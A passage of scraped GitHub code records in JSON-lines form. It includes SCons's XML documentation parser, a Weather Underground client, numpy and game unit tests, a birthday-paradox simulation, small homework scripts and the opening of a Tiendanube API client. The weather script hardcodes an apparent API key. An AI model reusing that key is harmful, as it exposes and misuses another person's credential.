the pieces on the board using the current GameState.board\ndef drawPieces(screen, board):\n for r in range(DIMENSION):\n for c in range(DIMENSION):\n piece = board[r][c]\n if piece != '--':\n screen.blit(IMAGES[piece], p.Rect(c*SQ_SIZE, r*SQ_SIZE, SQ_SIZE, SQ_SIZE))\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\nmain()","repo_name":"falcus/ChessEngine","sub_path":"ChessMain.py","file_name":"ChessMain.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18458069022","text":"from __future__ import print_function\n\n__doc__ = \"\"\"\nThis module parses home-brew XML files that document various things\nin SCons. Right now, it handles Builders, functions, construction\nvariables, and Tools, but we expect it to get extended in the future.\n\nIn general, you can use any DocBook tag in the input, and this module\njust adds processing various home-brew tags to try to make life a\nlittle easier.\n\nBuilder example:\n\n <builder name=\"BUILDER\">\n <summary>\n <para>This is the summary description of an SCons Builder.\n It will get placed in the man page,\n and in the appropriate User's Guide appendix.\n The name of any builder may be interpolated\n anywhere in the document by specifying the\n &b-BUILDER; element. It need not be on a line by itself.</para>\n\n Unlike normal XML, blank lines are significant in these\n descriptions and serve to separate paragraphs.\n They'll get replaced in DocBook output with appropriate tags\n to indicate a new paragraph.\n\n <example>\n print(\"this is example code, it will be offset and indented\")\n </example>\n </summary>\n </builder>\n\nFunction example:\n\n <scons_function name=\"FUNCTION\">\n <arguments>\n (arg1, arg2, key=value)\n </arguments>\n <summary>\n <para>This is the summary description of an SCons function.\n It will get placed in the man page,\n and in the appropriate User's Guide appendix.\n The name of any builder may be interpolated\n anywhere in the document by specifying the\n &f-FUNCTION; element. It need not be on a line by itself.</para>\n\n <example>\n print(\"this is example code, it will be offset and indented\")\n </example>\n </summary>\n </scons_function>\n\nConstruction variable example:\n\n <cvar name=\"VARIABLE\">\n <summary>\n <para>This is the summary description of a construction variable.\n It will get placed in the man page,\n and in the appropriate User's Guide appendix.\n The name of any construction variable may be interpolated\n anywhere in the document by specifying the\n &t-VARIABLE; element. It need not be on a line by itself.</para>\n\n <example>\n print(\"this is example code, it will be offset and indented\")\n </example>\n </summary>\n </cvar>\n\nTool example:\n\n <tool name=\"TOOL\">\n <summary>\n <para>This is the summary description of an SCons Tool.\n It will get placed in the man page,\n and in the appropriate User's Guide appendix.\n The name of any tool may be interpolated\n anywhere in the document by specifying the\n &t-TOOL; element. It need not be on a line by itself.</para>\n\n <example>\n print(\"this is example code, it will be offset and indented\")\n </example>\n </summary>\n </tool>\n\"\"\"\n\nimport imp\nimport os.path\nimport re\nimport sys\nimport copy\n\n# Do we have libxml2/libxslt/lxml?\nhas_libxml2 = True\ntry:\n import libxml2\n import libxslt\nexcept:\n has_libxml2 = False\n try:\n import lxml\n except:\n raise ImportError(\"Failed to import either libxml2/libxslt or lxml\")\n\nhas_etree = False\nif not has_libxml2:\n try:\n from lxml import etree\n has_etree = True\n except ImportError:\n pass\nif not has_etree:\n try:\n # Python 2.5\n import xml.etree.cElementTree as etree\n except ImportError:\n try:\n # Python 2.5\n import xml.etree.ElementTree as etree\n except ImportError:\n try:\n # normal cElementTree install\n import cElementTree as etree\n except ImportError:\n try:\n # normal ElementTree install\n import elementtree.ElementTree as etree\n except ImportError:\n raise ImportError(\"Failed to import ElementTree from any known place\")\n\nre_entity = re.compile(\"\\&([^;]+);\")\nre_entity_header = re.compile(\"<!DOCTYPE\\s+sconsdoc\\s+[^\\]]+\\]>\")\n\n# Namespace for the SCons Docbook XSD\ndbxsd=\"http://www.scons.org/dbxsd/v1.0\"\n# Namespace map identifier for the SCons Docbook XSD\ndbxid=\"dbx\"\n# Namespace for schema instances\nxsi = \"http://www.w3.org/2001/XMLSchema-instance\"\n\n# Header comment with copyright\ncopyright_comment = \"\"\"\n__COPYRIGHT__\n\nThis file is processed by the bin/SConsDoc.py module.\nSee its __doc__ string for a discussion of the format.\n\"\"\"\n\ndef isSConsXml(fpath):\n \"\"\" Check whether the given file is a SCons XML file, i.e. it\n contains the default target namespace definition.\n \"\"\"\n try:\n f = open(fpath,'r')\n content = f.read()\n f.close()\n if content.find('xmlns=\"%s\"' % dbxsd) >= 0:\n return True\n except:\n pass\n \n return False \n\ndef remove_entities(content):\n # Cut out entity inclusions\n content = re_entity_header.sub(\"\", content, re.M)\n # Cut out entities themselves\n content = re_entity.sub(lambda match: match.group(1), content)\n \n return content\n\ndefault_xsd = os.path.join('doc','xsd','scons.xsd')\n\nARG = \"dbscons\"\n\nclass Libxml2ValidityHandler:\n \n def __init__(self):\n self.errors = []\n self.warnings = []\n \n def error(self, msg, data):\n if data != ARG:\n raise Exception(\"Error handler did not receive correct argument\")\n self.errors.append(msg)\n\n def warning(self, msg, data):\n if data != ARG:\n raise Exception(\"Warning handler did not receive correct argument\")\n self.warnings.append(msg)\n\n\nclass DoctypeEntity:\n def __init__(self, name_, uri_):\n self.name = name_\n self.uri = uri_\n \n def getEntityString(self):\n txt = \"\"\" <!ENTITY %(perc)s %(name)s SYSTEM \"%(uri)s\">\n %(perc)s%(name)s;\n\"\"\" % {'perc' : perc, 'name' : self.name, 'uri' : self.uri}\n\n return txt\n \nclass DoctypeDeclaration:\n def __init__(self, name_=None):\n self.name = name_\n self.entries = []\n if self.name is None:\n # Add default entries\n self.name = \"sconsdoc\"\n self.addEntity(\"scons\", \"../scons.mod\")\n self.addEntity(\"builders-mod\", \"builders.mod\")\n self.addEntity(\"functions-mod\", \"functions.mod\")\n self.addEntity(\"tools-mod\", \"tools.mod\")\n self.addEntity(\"variables-mod\", \"variables.mod\")\n \n def addEntity(self, name, uri):\n self.entries.append(DoctypeEntity(name, uri))\n \n def createDoctype(self):\n content = '<!DOCTYPE %s [\\n' % self.name\n for e in self.entries:\n content += e.getEntityString()\n content += ']>\\n'\n \n return content\n\nif not has_libxml2:\n class TreeFactory:\n def __init__(self):\n pass\n \n def newNode(self, tag):\n return etree.Element(tag)\n\n def newEtreeNode(self, tag, init_ns=False):\n if init_ns:\n NSMAP = {None: dbxsd,\n 'xsi' : xsi}\n return etree.Element(tag, nsmap=NSMAP)\n\n return etree.Element(tag)\n \n def copyNode(self, node):\n return copy.deepcopy(node)\n \n def appendNode(self, parent, child):\n parent.append(child)\n\n def hasAttribute(self, node, att):\n return att in node.attrib\n \n def getAttribute(self, node, att):\n return node.attrib[att]\n \n def setAttribute(self, node, att, value):\n node.attrib[att] = value\n \n def getText(self, root):\n return root.text\n\n def setText(self, root, txt):\n root.text = txt\n\n def writeGenTree(self, root, fp):\n dt = DoctypeDeclaration()\n fp.write(etree.tostring(root, xml_declaration=True, \n encoding=\"UTF-8\", pretty_print=True, \n doctype=dt.createDoctype()))\n\n def writeTree(self, root, fpath):\n fp = open(fpath, 'w')\n fp.write(etree.tostring(root, xml_declaration=True, \n encoding=\"UTF-8\", pretty_print=True)) \n fp.close()\n\n def prettyPrintFile(self, fpath):\n fin = open(fpath,'r')\n tree = etree.parse(fin)\n pretty_content = etree.tostring(tree, pretty_print=True)\n fin.close()\n \n fout = open(fpath,'w')\n fout.write(pretty_content)\n fout.close()\n\n def decorateWithHeader(self, root):\n root.attrib[\"{\"+xsi+\"}schemaLocation\"] = \"%s %s/scons.xsd\" % (dbxsd, dbxsd)\n return root\n \n def newXmlTree(self, root):\n \"\"\" Return a XML file tree with the correct namespaces set,\n the element root as top entry and the given header comment.\n \"\"\"\n NSMAP = {None: dbxsd,\n 'xsi' : xsi}\n t = etree.Element(root, nsmap=NSMAP)\n return self.decorateWithHeader(t)\n \n def validateXml(self, fpath, xmlschema_context):\n # Use lxml\n xmlschema = etree.XMLSchema(xmlschema_context)\n try:\n doc = etree.parse(fpath)\n except Exception as e:\n print(\"ERROR: %s fails to parse:\"%fpath)\n print(e)\n return False\n doc.xinclude()\n try:\n xmlschema.assertValid(doc)\n except Exception as e:\n print(\"ERROR: %s fails to validate:\" % fpath)\n print(e)\n return False\n return True\n\n def findAll(self, root, tag, ns=None, xp_ctxt=None, nsmap=None):\n expression = \".//{%s}%s\" % (nsmap[ns], tag)\n if not ns or not nsmap:\n expression = \".//%s\" % tag\n return root.findall(expression)\n\n def findAllChildrenOf(self, root, tag, ns=None, xp_ctxt=None, nsmap=None):\n expression = \"./{%s}%s/*\" % (nsmap[ns], tag)\n if not ns or not nsmap:\n expression = \"./%s/*\" % tag\n return root.findall(expression)\n\n def convertElementTree(self, root):\n \"\"\" Convert the given tree of etree.Element\n entries to a list of tree nodes for the\n current XML toolkit.\n \"\"\"\n return [root]\n \nelse: \n class TreeFactory:\n def __init__(self):\n pass\n \n def newNode(self, tag):\n return libxml2.newNode(tag)\n\n def newEtreeNode(self, tag, init_ns=False):\n return etree.Element(tag)\n \n def copyNode(self, node):\n return node.copyNode(1)\n \n def appendNode(self, parent, child):\n if hasattr(parent, 'addChild'):\n parent.addChild(child)\n else:\n parent.append(child)\n\n def hasAttribute(self, node, att):\n if hasattr(node, 'hasProp'):\n return node.hasProp(att)\n return att in node.attrib\n \n def getAttribute(self, node, att):\n if hasattr(node, 'prop'):\n return node.prop(att)\n return node.attrib[att]\n\n def setAttribute(self, node, att, value):\n if hasattr(node, 'setProp'):\n node.setProp(att, value)\n else:\n node.attrib[att] = value\n \n def getText(self, root):\n if hasattr(root, 'getContent'):\n return root.getContent()\n return root.text\n\n def setText(self, root, txt):\n if hasattr(root, 'setContent'):\n root.setContent(txt)\n else:\n root.text = txt\n\n def writeGenTree(self, root, fp):\n doc = libxml2.newDoc('1.0')\n dtd = doc.newDtd(\"sconsdoc\", None, None)\n doc.addChild(dtd)\n doc.setRootElement(root)\n content = doc.serialize(\"UTF-8\", 1)\n dt = DoctypeDeclaration()\n # This is clearly a hack, but unfortunately libxml2\n # doesn't support writing PERs (Parsed Entity References).\n # So, we simply replace the empty doctype with the\n # text we need...\n content = content.replace(\"<!DOCTYPE sconsdoc>\", dt.createDoctype())\n fp.write(content)\n doc.freeDoc()\n\n def writeTree(self, root, fpath):\n fp = open(fpath, 'w')\n doc = libxml2.newDoc('1.0')\n doc.setRootElement(root)\n fp.write(doc.serialize(\"UTF-8\", 1))\n doc.freeDoc()\n fp.close()\n\n def prettyPrintFile(self, fpath):\n # Read file and resolve entities\n doc = libxml2.readFile(fpath, None, libxml2d.XML_PARSE_NOENT)\n fp = open(fpath, 'w')\n # Prettyprint\n fp.write(doc.serialize(\"UTF-8\", 1))\n fp.close()\n # Cleanup\n doc.freeDoc()\n\n def decorateWithHeader(self, root):\n # Register the namespaces\n ns = root.newNs(dbxsd, None)\n xi = root.newNs(xsi, 'xsi')\n root.setNs(ns) #put this node in the target namespace\n \n root.setNsProp(xi, 'schemaLocation', \"%s %s/scons.xsd\" % (dbxsd, dbxsd))\n \n return root\n\n def newXmlTree(self, root):\n \"\"\" Return a XML file tree with the correct namespaces set,\n the element root as top entry and the given header comment.\n \"\"\"\n t = libxml2.newNode(root)\n return self.decorateWithHeader(t)\n\n def validateXml(self, fpath, xmlschema_context):\n # Create validation context\n validation_context = xmlschema_context.schemaNewValidCtxt()\n # Set error/warning handlers\n eh = Libxml2ValidityHandler()\n validation_context.setValidityErrorHandler(eh.error, eh.warning, ARG)\n # Read file and resolve entities\n doc = libxml2.readFile(fpath, None, libxml2.XML_PARSE_NOENT)\n doc.xincludeProcessFlags(libxml2.XML_PARSE_NOENT)\n err = validation_context.schemaValidateDoc(doc)\n # Cleanup\n doc.freeDoc()\n del validation_context\n \n if err or eh.errors:\n for e in eh.errors:\n print(e.rstrip(\"\\n\"))\n print(\"%s fails to validate\" % fpath)\n return False\n \n return True\n\n def findAll(self, root, tag, ns=None, xpath_context=None, nsmap=None):\n if hasattr(root, 'xpathEval') and xpath_context:\n # Use the xpath context\n xpath_context.setContextNode(root)\n expression = \".//%s\" % tag\n if ns:\n expression = \".//%s:%s\" % (ns, tag)\n return xpath_context.xpathEval(expression)\n else:\n expression = \".//{%s}%s\" % (nsmap[ns], tag)\n if not ns or not nsmap:\n expression = \".//%s\" % tag\n return root.findall(expression)\n\n def findAllChildrenOf(self, root, tag, ns=None, xpath_context=None, nsmap=None):\n if hasattr(root, 'xpathEval') and xpath_context:\n # Use the xpath context\n xpath_context.setContextNode(root)\n expression = \"./%s/node()\" % tag\n if ns:\n expression = \"./%s:%s/node()\" % (ns, tag)\n \n return xpath_context.xpathEval(expression)\n else:\n expression = \"./{%s}%s/node()\" % (nsmap[ns], tag)\n if not ns or not nsmap:\n expression = \"./%s/node()\" % tag\n return root.findall(expression)\n\n def expandChildElements(self, child):\n \"\"\" Helper function for convertElementTree,\n converts a single child recursively.\n \"\"\"\n nchild = self.newNode(child.tag)\n # Copy attributes\n for key, val in child.attrib:\n self.setAttribute(nchild, key, val)\n elements = []\n # Add text\n if child.text:\n t = libxml2.newText(child.text)\n self.appendNode(nchild, t)\n # Add children\n for c in child:\n for n in self.expandChildElements(c):\n self.appendNode(nchild, n)\n elements.append(nchild)\n # Add tail\n if child.tail:\n tail = libxml2.newText(child.tail)\n elements.append(tail)\n \n return elements\n\n def convertElementTree(self, root):\n \"\"\" Convert the given tree of etree.Element\n entries to a list of tree nodes for the\n current XML toolkit.\n \"\"\"\n nroot = self.newNode(root.tag)\n # Copy attributes\n for key, val in root.attrib:\n self.setAttribute(nroot, key, val)\n elements = []\n # Add text\n if root.text:\n t = libxml2.newText(root.text)\n self.appendNode(nroot, t)\n # Add children\n for c in root:\n for n in self.expandChildElements(c):\n self.appendNode(nroot, n)\n elements.append(nroot)\n # Add tail\n if root.tail:\n tail = libxml2.newText(root.tail)\n elements.append(tail)\n \n return elements\n\ntf = TreeFactory()\n\n\nclass SConsDocTree:\n def __init__(self):\n self.nsmap = {'dbx' : dbxsd}\n self.doc = None\n self.root = None\n self.xpath_context = None\n\n def parseContent(self, content, include_entities=True):\n \"\"\" Parses the given content as XML file. This method\n is used when we generate the basic lists of entities\n for the builders, tools and functions.\n So we usually don't bother about namespaces and resolving\n entities here...this is handled in parseXmlFile below\n (step 2 of the overall process).\n \"\"\"\n if not include_entities:\n content = remove_entities(content)\n # Create domtree from given content string\n self.root = etree.fromstring(content)\n\n def parseXmlFile(self, fpath):\n nsmap = {'dbx' : dbxsd}\n if not has_libxml2:\n # Create domtree from file\n domtree = etree.parse(fpath)\n self.root = domtree.getroot()\n else:\n # Read file and resolve entities\n self.doc = libxml2.readFile(fpath, None, libxml2.XML_PARSE_NOENT)\n self.root = self.doc.getRootElement()\n # Create xpath context\n self.xpath_context = self.doc.xpathNewContext()\n # Register namespaces\n for key, val in self.nsmap.items():\n self.xpath_context.xpathRegisterNs(key, val)\n \n def __del__(self):\n if self.doc is not None:\n self.doc.freeDoc()\n if self.xpath_context is not None:\n self.xpath_context.xpathFreeContext()\n\nperc=\"%\"\n\ndef validate_all_xml(dpaths, xsdfile=default_xsd):\n xmlschema_context = None\n if not has_libxml2:\n # Use lxml\n xmlschema_context = etree.parse(xsdfile)\n else:\n # Use libxml2 and prepare the schema validation context\n ctxt = libxml2.schemaNewParserCtxt(xsdfile)\n xmlschema_context = ctxt.schemaParse()\n del ctxt\n \n fpaths = []\n for dp in dpaths:\n if dp.endswith('.xml') and isSConsXml(dp):\n path='.'\n fpaths.append(dp)\n else:\n for path, dirs, files in os.walk(dp):\n for f in files:\n if f.endswith('.xml'):\n fp = os.path.join(path, f)\n if isSConsXml(fp):\n fpaths.append(fp)\n \n fails = []\n for idx, fp in enumerate(fpaths):\n fpath = os.path.join(path, fp)\n print(\"%.2f%s (%d/%d) %s\" % (float(idx+1)*100.0/float(len(fpaths)),\n perc, idx+1, len(fpaths),fp))\n \n if not tf.validateXml(fp, xmlschema_context):\n fails.append(fp)\n continue\n\n if has_libxml2:\n # Cleanup\n del xmlschema_context\n\n if fails:\n return False\n \n return True\n\nclass Item(object):\n def __init__(self, name):\n self.name = name\n self.sort_name = name.lower()\n if self.sort_name[0] == '_':\n self.sort_name = self.sort_name[1:]\n self.sets = []\n self.uses = []\n self.summary = None\n self.arguments = None\n def cmp_name(self, name):\n if name[0] == '_':\n name = name[1:]\n return name.lower()\n def __eq__(self, other):\n return self.sort_name == other.sort_name\n def __lt__(self, other):\n return self.sort_name < other.sort_name\n\nclass Builder(Item):\n pass\n\nclass Function(Item):\n def __init__(self, name):\n super(Function, self).__init__(name)\n\nclass Tool(Item):\n def __init__(self, name):\n Item.__init__(self, name)\n self.entity = self.name.replace('+', 'X')\n\nclass ConstructionVariable(Item):\n pass\n\nclass Arguments(object):\n def __init__(self, signature, body=None):\n if not body:\n body = []\n self.body = body\n self.signature = signature\n def __str__(self):\n s = ''.join(self.body).strip()\n result = []\n for m in re.findall('([a-zA-Z/_]+|[^a-zA-Z/_]+)', s):\n if ' ' in m:\n m = '\"%s\"' % m\n result.append(m)\n return ' '.join(result)\n def append(self, data):\n self.body.append(data)\n\nclass SConsDocHandler(object):\n def __init__(self):\n self.builders = {}\n self.functions = {}\n self.tools = {}\n self.cvars = {}\n\n def parseItems(self, domelem, xpath_context, nsmap):\n items = []\n\n for i in tf.findAll(domelem, \"item\", dbxid, xpath_context, nsmap):\n txt = tf.getText(i)\n if txt is not None:\n txt = txt.strip()\n if len(txt):\n items.append(txt.strip())\n\n return items\n\n def parseUsesSets(self, domelem, xpath_context, nsmap):\n uses = []\n sets = []\n\n for u in tf.findAll(domelem, \"uses\", dbxid, xpath_context, nsmap):\n uses.extend(self.parseItems(u, xpath_context, nsmap))\n for s in tf.findAll(domelem, \"sets\", dbxid, xpath_context, nsmap):\n sets.extend(self.parseItems(s, xpath_context, nsmap))\n \n return sorted(uses), sorted(sets)\n\n def parseInstance(self, domelem, map, Class, \n xpath_context, nsmap, include_entities=True):\n name = 'unknown'\n if tf.hasAttribute(domelem, 'name'):\n name = tf.getAttribute(domelem, 'name')\n try:\n instance = map[name]\n except KeyError:\n instance = Class(name)\n map[name] = instance\n uses, sets = self.parseUsesSets(domelem, xpath_context, nsmap)\n instance.uses.extend(uses)\n instance.sets.extend(sets)\n if include_entities:\n # Parse summary and function arguments\n for s in tf.findAllChildrenOf(domelem, \"summary\", dbxid, xpath_context, nsmap):\n if instance.summary is None:\n instance.summary = []\n instance.summary.append(tf.copyNode(s))\n for a in tf.findAll(domelem, \"arguments\", dbxid, xpath_context, nsmap):\n if instance.arguments is None:\n instance.arguments = []\n instance.arguments.append(tf.copyNode(a))\n\n def parseDomtree(self, root, xpath_context=None, nsmap=None, include_entities=True): \n # Process Builders\n for b in tf.findAll(root, \"builder\", dbxid, xpath_context, nsmap):\n self.parseInstance(b, self.builders, Builder, \n xpath_context, nsmap, include_entities)\n # Process Functions\n for f in tf.findAll(root, \"scons_function\", dbxid, xpath_context, nsmap):\n self.parseInstance(f, self.functions, Function, \n xpath_context, nsmap, include_entities)\n # Process Tools\n for t in tf.findAll(root, \"tool\", dbxid, xpath_context, nsmap):\n self.parseInstance(t, self.tools, Tool, \n xpath_context, nsmap, include_entities)\n # Process CVars\n for c in tf.findAll(root, \"cvar\", dbxid, xpath_context, nsmap):\n self.parseInstance(c, self.cvars, ConstructionVariable, \n xpath_context, nsmap, include_entities)\n \n def parseContent(self, content, include_entities=True):\n \"\"\" Parses the given content as XML file. This method\n is used when we generate the basic lists of entities\n for the builders, tools and functions.\n So we usually don't bother about namespaces and resolving\n entities here...this is handled in parseXmlFile below\n (step 2 of the overall process).\n \"\"\"\n # Create doctree\n t = SConsDocTree()\n t.parseContent(content, include_entities)\n # Parse it\n self.parseDomtree(t.root, t.xpath_context, t.nsmap, include_entities)\n\n def parseXmlFile(self, fpath):\n # Create doctree\n t = SConsDocTree()\n t.parseXmlFile(fpath)\n # Parse it\n self.parseDomtree(t.root, t.xpath_context, t.nsmap)\n \n# lifted from Ka-Ping Yee's way cool pydoc module.\ndef importfile(path):\n \"\"\"Import a Python source file or compiled file given its path.\"\"\"\n magic = imp.get_magic()\n file = open(path, 'r')\n if file.read(len(magic)) == magic:\n kind = imp.PY_COMPILED\n else:\n kind = imp.PY_SOURCE\n file.close()\n filename = os.path.basename(path)\n name, ext = os.path.splitext(filename)\n file = open(path, 'r')\n try:\n module = imp.load_module(name, file, path, (ext, 'r', kind))\n except ImportError as e:\n sys.stderr.write(\"Could not import %s: %s\\n\" % (path, e))\n return None\n file.close()\n return module\n\n# Local Variables:\n# tab-width:4\n# indent-tabs-mode:nil\n# End:\n# vim: set expandtab tabstop=4 shiftwidth=4:\n","repo_name":"SCons/scons-gh-merge-with-missing-historys","sub_path":"bin/SConsDoc.py","file_name":"SConsDoc.py","file_ext":"py","file_size_in_byte":26595,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"27175449801","text":"import requests\nfrom urllib.parse import urljoin\nfrom astronomy import Astronomy\nfrom forecast import Forecast\nfrom alert import Alert\n\n\ndef get_data(zip_code):\n key = \"ed67bdaaf4fec173\"\n zipcode = zip_code + \".json\"\n features = '/conditions/forecast10day/astronomy/alerts/currenthurricane/q/'\n url = urljoin('http://api.wunderground.com/api/', key + features + zipcode)\n\n response = requests.get(url)\n return response.json()\n\n\ndef get_zip_code():\n user_zip = str(input(\"What's Your Zipcode? \\n\"))\n return user_zip\n\n\ndef main():\n data = get_data(get_zip_code())\n\n print(Forecast(data))\n # print(Forecast(data, True))\n print(Astronomy(data))\n Alert(data)\n\nif __name__ == '__main__':\n main()\n","repo_name":"stacyzhao/weather-report","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34370764016","text":"import unittest\nimport numpy as np\n\nfrom eadf.backend import *\nfrom eadf.preprocess import *\n\nfrom . import TestCase\n\n\nclass TestSymmetrizeData(TestCase):\n def setUp(self):\n self.data = np.random.randn(14, 28, 2, 3, 5)\n\n def test_success(self):\n symmetrizeData(self.data)\n\n def test_shapeFail(self):\n with self.assertRaisesWithMessage(\n ValueError, \"symmetrizeData: got %d dimensions instead of 5\" % (4)\n ):\n symmetrizeData(self.data[0])\n\n\nclass TestRegularSamplingToGrid(TestCase):\n def setUp(self):\n self.data = np.random.randn(14 * 13, 2, 3, 5)\n\n def test_success(self):\n regularSamplingToGrid(self.data, 13, 14)\n\n def test_shapeFail1(self):\n with self.assertRaisesWithMessage(\n ValueError,\n (\n \"regularSamplingToGrid:\"\n + \"Input arrA has %d dimensions instead of 4\"\n )\n % (len(self.data[:, :, :, 0].shape)),\n ):\n regularSamplingToGrid(self.data[:, :, :, 0], 13, 14)\n\n def test_shapeFail2(self):\n with self.assertRaisesWithMessage(\n ValueError,\n (\n \"regularSamplingToGrid:\"\n + \"numCoEle %d, numAzi %d and arrA.shape[0] %d dont match\"\n )\n % (14, 13, self.data[:13].shape[0]),\n ):\n regularSamplingToGrid(self.data[:13], 13, 14)\n\n\nclass TestSampledToFourier(TestCase):\n def setUp(self):\n self.data = np.random.randn(14, 28, 2, 2, 5) + 1j\n\n def test_success(self):\n sampledToFourier(self.data)\n\n\nclass TestSplineInterpolateFrequency(TestCase):\n def test_success(self):\n splineInterpolateFrequency(\n np.arange(20), np.random.randn(8, 7, 20, 2, 5) + 1j\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"EMS-TU-Ilmenau/EADF","sub_path":"test/test_preprocess.py","file_name":"test_preprocess.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"28526171426","text":"import unittest\n\n\nfrom game.map.CellType import CellType\nfrom game.map.Map import Map\nfrom game.object.body.SimpleBody import SimpleBody\n\n\nclass SimpleBody_add_to_map_Test(unittest.TestCase):\n\n def setUp(self):\n self.type0 = CellType('Test', False, 'Test')\n self.type1 = CellType('Test', True, 'Test')\n self.map = Map()\n self.map.create(4, 4, self.type0) \n \n def test_add_to_map(self): \n body = SimpleBody(None)\n self.assertTrue(body.add_to_map(self.map, 1, 2))\n self.assertEqual(body.x, 1) \n self.assertEqual(body.y, 2) \n self.assertEqual(body.map, self.map) \n \n def test_occupied(self):\r\n body0 = SimpleBody(None)\n body0.object = 1\n body0.add_to_map(self.map, 1, 2)\n \n body1 = SimpleBody(None)\n body1.object = 2\n \n self.assertFalse(body1.add_to_map(self.map, 1, 2))\n self.assertEqual(body1.x, None) \n self.assertEqual(body1.y, None) \n self.assertEqual(body1.map, None) \n self.assertEqual(self.map.get_cell(1, 2).creature, 1) \n \n def test_invalid_cell(self): \n body = SimpleBody(None)\n self.assertFalse(body.add_to_map(self.map, -1, 0))\n self.assertEqual(body.x, None) \n self.assertEqual(body.y, None) \n self.assertEqual(body.map, None) \n \n def test_solid_cell(self): \n self.map.get_cell(0, 0).type = self.type1\n \n body = SimpleBody(None)\n self.assertFalse(body.add_to_map(self.map, 0, 0)) \n self.assertEqual(body.x, None) \n self.assertEqual(body.y, None) \n self.assertEqual(body.map, None) \n self.assertEqual(self.map.get_cell(0, 0).creature, None) \n \r\n\r\ndef get_tests():\n return unittest.makeSuite(SimpleBody_add_to_map_Test, 'test')\n\n\nif __name__ == \"__main__\":\n runner = unittest.TextTestRunner()\r\n runner.run(get_tests()) \n","repo_name":"Orchaldir/PyArena","sub_path":"game/object/body/SimpleBody_add_to_map_Test.py","file_name":"SimpleBody_add_to_map_Test.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"26253350235","text":"# 33birthday.py\n\n# You may have heard of the 'birthday paradox' before\n# https://en.wikipedia.org/wiki/Birthday_problem\n# Write a program that simulates it\n# Make the number of days and the number of people command line arguments\n\n# Hint: make the problem smaller to aid visualization and debugging\n\n# Variation: try making the calendar a list\n# Variation: try making the birthdays a list\n\n# Dear Lilith, if you're reading this, I'm sorry. My vm destroyed itself while I was playing around with it and I didn't save our work. Thankfully I have a blank slate and can do this another, easier way. \n\n# From your student, Sam\n\nimport sys\nimport random\n\nlist = sys.argv[1:]\n\n# split this into two list\ndays = int(list[0])\npeople = int(list[1])\n\nprob = 0 \n\n# We want to try this multiple times by doing multiple trials\ntrials = 1000\n\n# we must create a list of random days to put into trial \nfor days_assigned in range(trials):\n\tdoubles = 0\n\tbirthdays = []\n\t\n\tfor i in range(days):\n\t\tbirthdays.append(0) \n\n# Assign people with birthdays\n\tfor birthday in range(people):\n\t\tbirth_day = random.randint(0,days-1)\n\t\tbirthdays[birth_day] = birthdays[birth_day] + 1\n\n# Going to see who's got the same birthday\n\tfor twins in birthdays:\n\t\tif twins > 1:\n\t\t\tdoubles += 1\n\t\tif doubles > 0:\n\t\t\tprob += 1\n\t\t\tmatch = 0\n\t\t\tbreak\n\n# Calculating probability\nbirth_paradox = prob/ trials\n\nprint(f'{birth_paradox:.3}')\n\t \n\n\n\"\"\"\npython3 33birthday.py 365 23\n0.571\n\"\"\"\n\n","repo_name":"FastV1per/homework","sub_path":"33birthday.py","file_name":"33birthday.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21200739296","text":"steps = 0\n\nwhile True:\n steps_made = input()\n if steps_made != \"Going home\":\n steps_made = int(steps_made)\n steps += steps_made\n if steps >= 10000:\n print(\"Goal reached! Good job!\")\n print(f\"{abs(steps - 10000)} steps over the goal!\")\n break\n if steps_made == \"Going home\":\n steps_to_home = int(input())\n steps += steps_to_home\n if steps >= 10000:\n print(\"Goal reached! Good job!\")\n print(f\"{abs(steps - 10000)} steps over the goal!\")\n break\n else:\n print(f\"{10000 - steps} more steps to reach goal.\")\n break","repo_name":"IvanTsekov12/SortUni-Programing-Basics-with-Python-January-2023","sub_path":"Упражнения/While Loop/Walking.py","file_name":"Walking.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4793727283","text":"import numpy as np\r\nimport pandas as pd\r\nimport plotly.express as pe\r\ndf=pd.read_csv(\"university.csv\")\r\ngre=df['GRE Score'].tolist()\r\nchances=df['Chance of Admit '].tolist()\r\nm,c=np.polyfit(gre,chances,1)\r\nprint(m)\r\nprint(c)\r\nnewchances=[]\r\nfor x in gre:\r\n y=m*x+c\r\n newchances.append(y)\r\nfig=pe.scatter(df,x=\"GRE Score\",y=\"Chance of Admit \",color=\"GRE Score\")\r\nfig.update_layout(shapes=[dict(type=\"line\",x0=min(gre),x1=max(gre),y0=min(newchances),y1=max(newchances))])\r\nfig.show()\r\nprint(\"if gre score is 1000 then chances of admit is\", m*1000+c)\r\n","repo_name":"Rohini-2/c12","sub_path":"ddt.py","file_name":"ddt.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32030114395","text":"# -*- coding: utf-8 -*-\nimport json\nimport logging\n\nimport requests\nfrom furl import furl\n\n\nlogging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)\n\n\ndef _do_verb(verb, url, payload, headers):\n params = {\n 'url': url,\n 'headers': headers\n }\n method = getattr(requests, verb)\n\n if verb in ['post', 'put']:\n params['headers']['Content-Type'] = 'application/json; charset=utf-8'\n params['data'] = json.dumps(payload)\n elif verb == 'get':\n params['params'] = payload\n\n return method(**params)\n\n\nclass APIClient(object):\n API_VERSION = 'v1'\n API_ENDPOINT = 'https://api.tiendanube.com'\n ARGS = ['resource_id', 'subresource', 'subresource_id']\n\n def __init__(self, api_key, user_agent):\n headers = {\n 'Authentication': 'bearer {}'.format(api_key),\n 'User-Agent': user_agent\n }\n self.headers = headers\n\n def get_options(self, 